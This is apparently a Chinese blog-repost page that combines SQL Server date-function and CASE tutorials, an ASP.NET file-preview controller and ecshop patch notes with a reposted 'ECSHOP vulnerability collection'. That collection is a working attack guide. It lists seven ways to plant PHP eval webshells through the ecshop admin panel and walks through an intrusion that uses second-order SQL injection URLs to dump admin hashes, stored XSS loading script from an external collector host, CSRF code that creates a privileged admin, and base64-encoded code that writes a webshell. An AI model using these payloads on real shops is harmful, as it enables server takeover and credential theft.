SQL Server CONVERT() 函数 - nicesoft - 博客园

mikel阅读(1121)

来源: SQL Server CONVERT() 函数 – nicesoft – 博客园

定义和用法

CONVERT() 函数是把日期转换为新数据类型的通用函数。

CONVERT() 函数可以用不同的格式显示日期/时间数据。

语法

CONVERT(data_type(length),data_to_be_converted,style)

data_type(length) 规定目标数据类型(带有可选的长度)。data_to_be_converted 含有需要转换的值。style 规定日期/时间的输出格式。

可以使用的 style 值:

Style ID Style 格式
100 或者 0 mon dd yyyy hh:miAM (或者 PM)
101 mm/dd/yy
102 yy.mm.dd
103 dd/mm/yy
104 dd.mm.yy
105 dd-mm-yy
106 dd mon yy
107 Mon dd, yy
108 hh:mm:ss
109 或者 9 mon dd yyyy hh:mi:ss:mmmAM(或者 PM)
110 mm-dd-yy
111 yy/mm/dd
112 yymmdd
113 或者 13 dd mon yyyy hh:mm:ss:mmm(24h)
114 hh:mi:ss:mmm(24h)
120 或者 20 yyyy-mm-dd hh:mi:ss(24h)
121 或者 21 yyyy-mm-dd hh:mi:ss.mmm(24h)
126 yyyy-mm-ddThh:mm:ss.mmm(没有空格)
130 dd mon yyyy hh:mi:ss:mmmAM
131 dd/mm/yy hh:mi:ss:mmmAM

实例

下面的脚本使用 CONVERT() 函数来显示不同的格式。我们将使用 GETDATE() 函数来获得当前的日期/时间:

CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110) 
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)

结果类似:

Dec 29 2008 11:45 PM
12-29-2008
29 Dec 08
29 Dec 2008 16:25:46.635

SQL Server Date 函数

1、日期格式化处理

DECLARE @dt datetime
SET @dt=GETDATE()

–1.短日期格式:yyyy-m-d
SELECT REPLACE(CONVERT(varchar(10),@dt,120),N’-0′,’-‘)

–2.长日期格式:yyyy年mm月dd日
–A. 方法1
SELECT STUFF(STUFF(CONVERT(char(8),@dt,112),5,0,N’年’),8,0,N’月’)+N’日’
–B. 方法2
SELECT DATENAME(Year,@dt)+N’年’+DATENAME(Month,@dt)+N’月’+DATENAME(Day,@dt)+N’日’

–3.长日期格式:yyyy年m月d日
SELECT DATENAME(Year,@dt)+N’年’+CAST(DATEPART(Month,@dt) AS varchar)+N’月’+DATENAME(Day,@dt)+N’日’

–4.完整日期+时间格式:yyyy-mm-dd hh:mi:ss:mmm
SELECT CONVERT(char(11),@dt,120)+CONVERT(char(12),@dt,114)

2、日期推算处理

DECLARE @dt datetime
SET @dt=GETDATE()

DECLARE @number int
SET @number=3

–1.指定日期该年的第一天或最后一天
–A. 年的第一天
SELECT CONVERT(char(5),@dt,120)+’1-1′

–B. 年的最后一天
SELECT CONVERT(char(5),@dt,120)+’12-31′

–2.指定日期所在季度的第一天或最后一天
–A. 季度的第一天
SELECT CONVERT(datetime,
CONVERT(char(8),
DATEADD(Month,
DATEPART(Quarter,@dt)*3-Month(@dt)-2,
@dt),
120)+’1′)

–B. 季度的最后一天(CASE判断法)
SELECT CONVERT(datetime,
CONVERT(char(8),
DATEADD(Month,
DATEPART(Quarter,@dt)*3-Month(@dt),
@dt),
120)
+CASE WHEN DATEPART(Quarter,@dt) in(1,4)
THEN ’31’ELSE ’30’ END)

–C. 季度的最后一天(直接推算法)
SELECT DATEADD(Day,-1,
CONVERT(char(8),
DATEADD(Month,
1+DATEPART(Quarter,@dt)*3-Month(@dt),
@dt),
120)+’1′)

–3.指定日期所在月份的第一天或最后一天
–A. 月的第一天
SELECT CONVERT(datetime,CONVERT(char(8),@dt,120)+’1′)

–B. 月的最后一天
SELECT DATEADD(Day,-1,CONVERT(char(8),DATEADD(Month,1,@dt),120)+’1′)

–C. 月的最后一天(容易使用的错误方法)
SELECT DATEADD(Month,1,DATEADD(Day,-DAY(@dt),@dt))

–4.指定日期所在周的任意一天
SELECT DATEADD(Day,@number-DATEPART(Weekday,@dt),@dt)

–5.指定日期所在周的任意星期几
–A.  星期天做为一周的第1天
SELECT DATEADD(Day,@number-(DATEPART(Weekday,@dt)+@@DATEFIRST-1)%7,@dt)

–B.  星期一做为一周的第1天
SELECT DATEADD(Day,@number-(DATEPART(Weekday,@dt)+@@DATEFIRST-2)%7-1,@dt)

////////////////////////////////////////////////////////////////////////////////////////////////////

1. 当前系统日期、时间
select getdate()

2. dateadd  在向指定日期加上一段时间的基础上,返回新的 datetime 值
例如:向日期加上2天
select dateadd(day,2,’2004-10-15′) –返回:2004-10-17 00:00:00.000

3. datediff 返回跨两个指定日期的日期和时间边界数。
select datediff(day,’2004-09-01′,’2004-09-18′)   –返回:17

4. datepart 返回代表指定日期的指定日期部分的整数。
select datepart(month, ‘2004-10-15’)  –返回 10

5. datename 返回代表指定日期的指定日期部分的字符串
select datename(weekday, ‘2004-10-15’)  –返回:星期五

6. day(), month(),year() –可以与datepart对照一下

      select 当前日期=convert(varchar(10),getdate(),120),

             当前时间=convert(varchar(8),getdate(),114)

      select datename(dw,’2004-10-15′)

      select 本年第多少周=datename(week,’2004-10-15′),

             今天是周几=datename(weekday,’2004-10-15′)

函数

参数/功能

GetDate( )

 返回系统目前的日期与时间

DateDiff (interval,date1,date2)

 以interval 指定的方式,返回date2 与date1两个日期之间的差值 date2-date1

DateAdd (interval,number,date)

 以interval指定的方式,加上number之后的日期

DatePart (interval,date)

 返回日期date中,interval指定部分所对应的整数值

DateName (interval,date)

 返回日期date中,interval指定部分所对应的字符串名称

参数 interval的设定值如下:

缩 写(SQL Server)

(Access 和 ASP)

说明

Year

Yy

yyyy

年 1753 ~ 9999

Quarter

Qq

q

季 1 ~ 4

Month

Mm

m

月1 ~ 12

Day of year

Dy

y

一年的日数,一年中的第几日 1-366

Day

Dd

d

日,1-31

Weekday

Dw

w

一周的日数,一周中的第几日 1-7

Week

Wk

ww

周,一年中的第几周 0 ~ 51

Hour

Hh

h

时0 ~ 23

Minute

Mi

n

分钟0 ~ 59

Second

Ss

s

秒 0 ~ 59

Millisecond

Ms

毫秒 0 ~ 999

SQL Server中文版的默认的日期字段datetime格式是yyyy-mm-dd Thh:mm:ss.mmm

例如:

select getdate()

2004-09-12 11:06:08.177

整理了一下SQL Server里面可能经常会用到的日期格式转换方法:

举例如下:

select CONVERT(varchar, getdate(), 120 )

2004-09-12 11:06:08

select replace(replace(replace(CONVERT(varchar, getdate(), 120 ),’-‘,”),’ ‘,”),’:’,”)

20040912110608

select CONVERT(varchar(12) , getdate(), 111 )

2004/09/12

select CONVERT(varchar(12) , getdate(), 112 )

20040912

select CONVERT(varchar(12) , getdate(), 102 )

2004.09.12

select CONVERT(varchar(12) , getdate(), 101 )

09/12/2004

select CONVERT(varchar(12) , getdate(), 103 )

12/09/2004

select CONVERT(varchar(12) , getdate(), 104 )

12.09.2004

select CONVERT(varchar(12) , getdate(), 105 )

12-09-2004

select CONVERT(varchar(12) , getdate(), 106 )

12 09 2004

select CONVERT(varchar(12) , getdate(), 107 )

09 12, 2004

select CONVERT(varchar(12) , getdate(), 108 )

11:06:08

select CONVERT(varchar(12) , getdate(), 109 )

09 12 2004 1

select CONVERT(varchar(12) , getdate(), 110 )

09-12-2004

select CONVERT(varchar(12) , getdate(), 113 )

12 09 2004 1

select CONVERT(varchar(12) , getdate(), 114 )

11:06:08.177

sql 中 case when 语法 - 钱途无梁 - 博客园

mikel阅读(827)

来源: sql 中 case when 语法 – 钱途无梁 – 博客园

SQL语言中有没有类似C语言中的switch case的语句??

没有,用case   when   来代替就行了.

例如,下面的语句显示中文年月

select   getdate()   as   日期,case   month(getdate())
when   11   then   ‘十一’
when   12   then   ‘十二’
else   substring(‘一二三四五六七八九十’,   month(getdate()),1)
end+’月’   as   月份

=================================================

CASE 可能是 SQL 中被误用最多的关键字之一。虽然你可能以前用过这个关键字来创建字段,但是它还具有更多用法。例如,你可以在 WHERE 子句中使用 CASE。
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁首先让我们看一下 CASE 的语法。在一般的 SELECT 中,其语法如下:
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁SELECT <myColumnSpec> =
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁WHEN <A> THEN <somethingA>
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁WHEN <B> THEN <somethingB>
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁ELSE <somethingE>
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁END
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁在上面的代码中需要用具体的参数代替尖括号中的内容。下面是一个简单的例子:
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁USE pubs
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GO
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁SELECT
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁     Title,
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    ‘Price Range’ =
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price IS NULL THEN ‘Unpriced’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price < 10 THEN ‘Bargain’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price BETWEEN 10 and 20 THEN ‘Average’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        ELSE ‘Gift to impress relatives’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    END
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁FROM titles
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁ORDER BY price
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GO
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁这是 CASE 的典型用法,但是使用 CASE 其实可以做更多的事情。比方说下面的 GROUP BY 子句中的 CASE:
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁SELECT ‘Number of Titles’, Count(*)
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁FROM titles
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GROUP BY
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price IS NULL THEN ‘Unpriced’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price < 10 THEN ‘Bargain’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price BETWEEN 10 and 20 THEN ‘Average’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        ELSE ‘Gift to impress relatives’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    END
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GO
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁你甚至还可以组合这些选项,添加一个 ORDER BY 子句,如下所示:
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁USE pubs
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GO
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁SELECT
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price IS NULL THEN ‘Unpriced’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price < 10 THEN ‘Bargain’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price BETWEEN 10 and 20 THEN ‘Average’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        ELSE ‘Gift to impress relatives’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    END AS Range,
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁     Title
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁FROM titles
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GROUP BY
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price IS NULL THEN ‘Unpriced’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price < 10 THEN ‘Bargain’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price BETWEEN 10 and 20 THEN ‘Average’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        ELSE ‘Gift to impress relatives’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    END,
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁     Title
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁ORDER BY
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    CASE
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price IS NULL THEN ‘Unpriced’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price < 10 THEN ‘Bargain’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        WHEN price BETWEEN 10 and 20 THEN ‘Average’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁        ELSE ‘Gift to impress relatives’
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁    END,
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁     Title
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁GO
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁注意,为了在 GROUP BY 块中使用 CASE,查询语句需要在 GROUP BY 块中重复 SELECT 块中的 CASE 块。
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁
sql 中 case when 语法在这里添加日志标题 - 钱途无梁 - Notebook of 钱途无梁除了选择自定义字段之外,在很多情况下 CASE 都非常有用。再深入一步,你还可以得到你以前认为不可能得到的分组排序结果集。

ASP.NET MVC在线预览Excel、Word、TXT、PDF文件 - 秋荷雨翔 - 博客园

mikel阅读(1449)

来源: ASP.NET MVC在线预览Excel、Word、TXT、PDF文件 – 秋荷雨翔 – 博客园

 using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Microsoft.Office.Interop.Excel;
using System.Diagnostics;
using System.IO;
using Microsoft.Office.Interop.Word;

namespace Suya.Web.Apps.Areas.PMP.Controllers
{
///

/// 在线预览Office文件
///

public class OfficeViewController : Controller
{
#region Index页面
///

/// Index页面
///

/// 例:/uploads/......XXX.xls
public ActionResult Index(string url)
{
string physicalPath = Server.MapPath(Server.UrlDecode(url));
string extension = Path.GetExtension(physicalPath);

string htmlUrl = "";
switch (extension.ToLower())
{
case ".xls":
case ".xlsx":
htmlUrl = PreviewExcel(physicalPath, url);
break;
case ".doc":
case ".docx":
htmlUrl = PreviewWord(physicalPath, url);
break;
case ".txt":
htmlUrl = PreviewTxt(physicalPath, url);
break;
case ".pdf":
htmlUrl = PreviewPdf(physicalPath, url);
break;
case ".jpg":
case ".jpeg":
case ".bmp":
case ".gif":
case ".png":
htmlUrl = PreviewImg(physicalPath, url);
break;
default:
htmlUrl = PreviewOther(physicalPath, url);
break;
}

return Redirect(Url.Content(htmlUrl));
}
#endregion

#region 预览Excel
///

/// 预览Excel
///

public string PreviewExcel(string physicalPath, string url)
{
Microsoft.Office.Interop.Excel.Application application = null;
Microsoft.Office.Interop.Excel.Workbook workbook = null;
application = new Microsoft.Office.Interop.Excel.Application();
object missing = Type.Missing;
object trueObject = true;
application.Visible = false;
application.DisplayAlerts = false;
workbook = application.Workbooks.Open(physicalPath, missing, trueObject, missing, missing, missing,
missing, missing, missing, missing, missing, missing, missing, missing, missing);
//Save Excel to Html
object format = Microsoft.Office.Interop.Excel.XlFileFormat.xlHtml;
string htmlName = Path.GetFileNameWithoutExtension(physicalPath) + ".html";
String outputFile = Path.GetDirectoryName(physicalPath) + "\\" + htmlName;
workbook.SaveAs(outputFile, format, missing, missing, missing,
missing, XlSaveAsAccessMode.xlNoChange, missing,
missing, missing, missing, missing);
workbook.Close();
application.Quit();
return Path.GetDirectoryName(Server.UrlDecode(url)) + "\\" + htmlName;
}
#endregion

#region 预览Word
///

/// 预览Word
///

public string PreviewWord(string physicalPath, string url)
{
Microsoft.Office.Interop.Word._Application application = null;
Microsoft.Office.Interop.Word._Document doc = null;
application = new Microsoft.Office.Interop.Word.Application();
object missing = Type.Missing;
object trueObject = true;
application.Visible = false;
application.DisplayAlerts = WdAlertLevel.wdAlertsNone;
doc = application.Documents.Open(physicalPath, missing, trueObject, missing, missing, missing,
missing, missing, missing, missing, missing, missing, missing, missing, missing, missing);
//Save Excel to Html
object format = Microsoft.Office.Interop.Word.WdSaveFormat.wdFormatHTML;
string htmlName = Path.GetFileNameWithoutExtension(physicalPath) + ".html";
String outputFile = Path.GetDirectoryName(physicalPath) + "\\" + htmlName;
doc.SaveAs(outputFile, format, missing, missing, missing,
missing, XlSaveAsAccessMode.xlNoChange, missing,
missing, missing, missing, missing);
doc.Close();
application.Quit();
return Path.GetDirectoryName(Server.UrlDecode(url)) + "\\" + htmlName;
}
#endregion

#region 预览Txt
///

/// 预览Txt
///

public string PreviewTxt(string physicalPath, string url)
{
return Server.UrlDecode(url);
}
#endregion

#region 预览Pdf
///

/// 预览Pdf
///

public string PreviewPdf(string physicalPath, string url)
{
return Server.UrlDecode(url);
}
#endregion

#region 预览图片
///

/// 预览图片
///

public string PreviewImg(string physicalPath, string url)
{
return Server.UrlDecode(url);
}
#endregion

#region 预览其他文件
///

/// 预览其他文件
///

public string PreviewOther(string physicalPath, string url)
{
return Server.UrlDecode(url);
}
#endregion

}
}

阿里提示ecshop SQL注入漏洞affiliate_ck.php的解决方法 – 游子网络

mikel阅读(1014)

来源: 阿里提示ecshop SQL注入漏洞affiliate_ck.php的解决方法 – 游子网络

漏洞名称:ecshop SQL注入漏洞

补丁文件:admin/affiliate_ck.php

补丁来源:云盾自研

漏洞描述:ecshop的后台编辑文件/admin/affiliate_ck.php中,对输入参数auid未进行正确类型转义,导致整型注入的发生。【注意:该补丁为云盾自研代码修复方案,云盾会根据您当前代码是否符合云盾自研的修复模式进行检测,如果您自行采取了底层/框架统一修复、或者使用了其他的修复方案,可能会导致您虽然已经修复了改漏洞,云盾依然报告存在漏洞,遇到该情况可选择忽略该漏洞提示】

解决方法:

首先找到这个文件/admin/affiliate_ck.php

修复处有2处分别是在代码(31行于51行):

$logdb = get_affiliate_ck();

修改成

$_GET[auid] = intval($_GET[auid]); $logdb = get_affiliate_ck();

修改完后保存上传更新,然后在阿里云点击修复即可。

以上就是游子为各位提供的,阿里云提示:“ecshop SQL注入漏洞”的解决方案!

ECSHOP漏洞集 - xysoul的专栏 - CSDN博客

mikel阅读(1440)

来源: ECSHOP漏洞集 – xysoul的专栏 – CSDN博客

ecshop后台拿shell 个人总结七种方法

最近想弄个ecshop做销售。装好ecshop V2.7.2版本之后,测试后台拿shell。

本人整理给自己看的,大家飘过就好。BY:黑猫

ecshop后台拿shell 个人总结七种方法

一、

系统==>数据库管理==>SQL查询(可爆出物理路径):

==============创建表失败,导不出shell======================

show databases;
use 数据库名;
create a(cmd text not null);
insert into a(cmd) values(‘<?php eval($_POST[cmd]);?>’);
select cmd from a into outfile ‘导出路径’;
drop table if exists a;

==================创建表失败,导不出shell===================

二、

前台留个言,内容是我们的一句话木马:<?php eval($_POST[cmd]);?>

接着在后台系统==>数据库管理==>数据备份==>选择自定义备份,选择ecs_feedback这张表(存放留言的表)

备份文件名:x.php;.SQL (x.php.sql形式出错,菜刀链接不成功)

然后菜刀链接成功

http://www.webshell.cc/data/sqldata/x.php;.sql

三、

1、添加会员,会员名称插入插入一句话 :<?php eval($_POST[cmd]);?> ,其他随便填写。
2、系统==>数据库管理==>数据备份—自定义备份—选“XXX_users”
(其中XXX因各站而异,是数据前缀)
3、备份文件名为mm.php;.sql
4、一句话客户端连接mm.php;.sql,地址一般为 http://www.webshell.cc/data/sqldata/mm.php;.sql

四、

模板管理==>库项目管理==>选择myship.lbi 配送方式。

在文件内容最后面加入一句话代码:<?php eval($_POST[cmd]);?>

菜刀链接http://www.webshell.cc/myship.php 成功。

说明:有些服务器过滤了eval 导致失败。

五、

http://www.webshell.cc/includes/fckeditor/editor/filemanager/connectors/test.html

代码省略
对Media 没有任何限制. 直接 Type=Media 上传 你的 解密webshell
访问路径为

http://www.webshell.cc/images/upload/Media/xxx.php

六、

上传txt 并且没有过滤任何函数.
于是运用到了php的文件操作…
<script language=”php”>$file = file_get_contents(“C:/Inetpub/wwwroot/ecshop/data/Article/1286344719152816497.txt”);
if($file){
$file = “C:/Inetpub/wwwroot/ecshop/data/Article/1286344719152816497.txt”;
$newfile = ‘C:/Inetpub/wwwroot/ecshop/data/distant.php;a.txt’;
copy($file,$newfile);
}</script>

将以上代码插入库项目管理中的myship.ini
打开http://www.webshell.cc/myship.php
即在http://www.webshell.cc/data/目录下生成distant.php;a.txt
菜刀连接之…搞定..

七、

进入后台-系统设置-Flash播放器管理- 直接上传x.php

ecshop V2.7.2 版本已经没有这个选项 ,所以这个已经失效。

本站内容均为原创,转载请务必保留署名与链接!
ecshop后台拿shell 个人总结七种方法:http://www.webshell.cc/1625.html
———————————————————————————————————————————————————————————–
ECSHOP2.7.2入侵全过程

利用的都是一些早就在乌云上爆出来的漏洞,是学校上课做的一个实验,把过程贴出来,第一次尝试写博客,大牛勿喷。

1 Sql注入

1) 目标网站为:http://192.168.238.132/upload/

网站服务器ip:192.168.238.132

管理员的访问网站的电脑ip:192.168.238.1

攻击者ip:192.168.238.129

2)    漏洞存在于站外广告统计功能(对应管理后台的报表统计->站外投放JS),即/affiche.php页面,将from参数(网站来源referer)存储到了数据库表ecs_adsense,而在后台的“站外投放JS”读取出来未过滤又进入了sql语句,导致二次注入。(参考乌云http://www.wooyun.org/bugs/wooyun-2010-023188 )

在/affiche.php119行有这样一句话

  1. $sql = “INSERT INTO “ .$ecs->table(‘adsense’) . “(from_ad, referer, clicks) VALUES (‘-1’,'” . $site_name . “‘, ‘1’)”;

可以发现$site_name即$_GET[‘from’]存入数据库了

 

而在/admin/adsense.php47-49行又有以下代码

  1. /* 获取当前广告所产生的订单总数 */
  2. $sql2 = ‘SELECT COUNT(order_id) FROM ‘.$ecs->table(‘order_info’). ” WHERE from_ad=’$rows[ad_id]’ ANDreferer=’$rows[referer]'”;
  3. $rows[‘order_num’] =$db->getOne($sql2);

 

可以发现没有再次addslashes导致注入。

 

3)于是我们构造以下两个链接

http://192.168.238.132/upload/affiche.php?from=zzz.zzz.zzz’%20and%201=2%20union%20select%20group_concat(user_id,’|’,user_name,’|’,password,’|’,ec_salt)%20from%20ecs_admin_user%20order%20by%201%20desc%23&ad_id=-1

http://192.168.238.132/upload/affiche.php?from=zzz.zzz.zzz’%20and%201=2%20union%20select%20%20value%20FROM%20`ecs_shop_config`%20WHERE%20code%20=%20’hash_code’%20order%20by%201%20desc%23&ad_id=-1

在浏览器中访问后即把恶意代码插入数据库中了。当管理员访问后台页面时,如图

可以发现当管理员访问该界面时发生了sql注入,管理员的账户密码都可以得到,包括hashcode。

 

可是这个界面只有管理员能够看到,不是管理员要怎么利用呢???

2 xss获得管理员账户密码

4)我们想到要是插入一段js代码,能够获取到当前页面元素的值当然也就可以找到管理员的账户密码了。

在xsser.me上自定义getHtmlText模块获取用户的页面内容

构造以下链接将js插入数据库中

http://192.168.238.132/upload/affiche.php?from=zxq.zxq.zxq%3Cscript%20src=%22http://xss.ownsec.com/fp1qml?1403800658%22%20type=%22text/javascript%22%3E%3C/script%3E&ad_id=-1

管理员浏览该页面后如图

可以发现已经接收到cookies和账户密码信息,如下图所示

账户密码信息如图

Hashcode如图

 

由于密码的hash值生成方式如下

这样我们得到了账户密码以及salt值,在cmd5网站上解密,因为密码是admin123比较简单,因此cmd5上面可以解出来。但如果密码复杂的话就没办法解密了。

 

5)于是我们寻找更通用的进入后台方式

发现cookies的生成方式如下

只需要把密码的hash值和hashcode的值连接起来进行md5加密即可获得密码,可以构造cookies欺骗。

参考 http://www.2cto.com/Article/201307/232194.html

但我做的时候用构造的cookies一直无法进入后台,不知道为什么不科学啊~

于是采用csrf进入后台

3 xss+csrf添加任意管理员并分配权限

6)我们利用xss与csrf结合进行攻击。

乌云漏洞 http://www.wooyun.org/bugs/wooyun-2010-033159

由于在添加管理员账号时没有token值验证因此可以构造js向后台post数据添加管理员,另外新添加的管理员是没有权限的,后面我们要拿webshell的时候需要用到语言编辑的权限,因此我们再post一个添加权限的数据。

我们的add.js代码如下

  1. Ajax.call(‘http://192.168.238.132/upload/admin/privilege.php?act=add’,‘user_name=zzzz&email=zzzz@qq.com&password=123456&pwd_confirm=123456&act=insert’,,“POST”,“JSON”);
  2. Ajax.call(‘http://192.168.238.132/upload/admin/privilege.php’,‘action_code[]=lang_edit&id=2&Submit=保存&act=update_allot’,,“POST”,“JSON”);

一个是添加管理员,一个是分配权限

继续构造如下链接,将代码插入数据库中

http://192.168.238.132/upload/affiche.php?from=a.baidu.com%3Cscript%20src=%22http://192.168.238.1/xss/add.js%22%20type=%22text/javascript%22%3E%3C/script%3E&ad_id=-1

在用户点击之前可以看到此时管理员只有一个

这时如果访问广告js界面,我们刚刚插入的代码就会执行

这时候再次查看管理员,发现已经多了一个管理员,并且拥有语言编辑的权利

权利如下图

Ok至此我们成功拿到后台管理员权限。

4 获取websehll

7)下面使用我们刚才添加的管理员拿webshell。登陆后发现只有一个语言编辑权利,但这正是我们为了拿webshell分配的,已经足够了。

由于将变量直接写入user.php文件并且没有对变量过滤,导致可以插入代码并执行。

查找用户信息

在用户信息后面添加生成一句话木马的代码

  1. ${${fputs(fopen(base64_decode(dGVzdC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pPz4))}}

 

此时我们查看user.php的代码发现刚才的代码已经成功写入user.php文件中

然后攻击者访问http://192.168.238.132/upload/user.php后代码将会执行,在网站根目录下生成一句话木马test.php。

 

8) 使用菜刀连接我们的一句话木马

可以发现已经成功连接上

9)在根目录下上传木马muma.php

至此成功拿到webshell

后面的提权就不贴出来了。

阿里提示ecshop SQL注入漏洞shophelp.php的解决方法 – 游子网络

mikel阅读(876)

来源: 阿里提示ecshop SQL注入漏洞shophelp.php的解决方法 – 游子网络

漏洞名称:ecshop SQL注入漏洞

补丁文件:/admin/shophelp.php

补丁来源:云盾自研

漏洞描述:ecshop的后台编辑文件/admin/shophelp.php中,对输入参数$_POST[‘id’]未进行正确类型转义,导致整型注入的发生。【注意:该补丁为云盾自研代码修复方案,云盾会根据您当前代码是否符合云盾自研的修复模式进行检测,如果您自行采取了底层/框架统一修复、或者使用了其他的修复方案,可能会导致您虽然已经修复了改漏洞,云盾依然报告存在漏洞,遇到该情况可选择忽略该漏洞提示】

ecshop SQL注入漏洞shophelp.php的解决方法解决方法:

首先找到这个文件/admin/shophelp.php

修复处有4处分别在代码的(81-105-133-155行)

admin_priv('shophelp_manage');

将81-105-133-155行直接替换如下代码:

admin_priv('shophelp_manage'); $_POST['id'] = intval($_POST['id']);

修改完后保存上传更新,然后在阿里云点击修复即可。

以上就是游子为各位提供的,阿里云提示:“ecshop SQL注入漏洞”的解决方案!

PHP脚本木马防范经验 - IT梦工厂 - CSDN博客

mikel阅读(850)

来源: PHP脚本木马防范经验 – IT梦工厂 – CSDN博客

1、首先修改httpd.conf,如果你只允许你的php脚本程序在web目录里操作,还可以修改httpd.conf文件限制php的操作路径。比如你的 web目录是/usr/local/apache/htdocs,那么在httpd.conf里加上这么几行:

php_admin_value open_basedir /usr/local/apache/htdocs

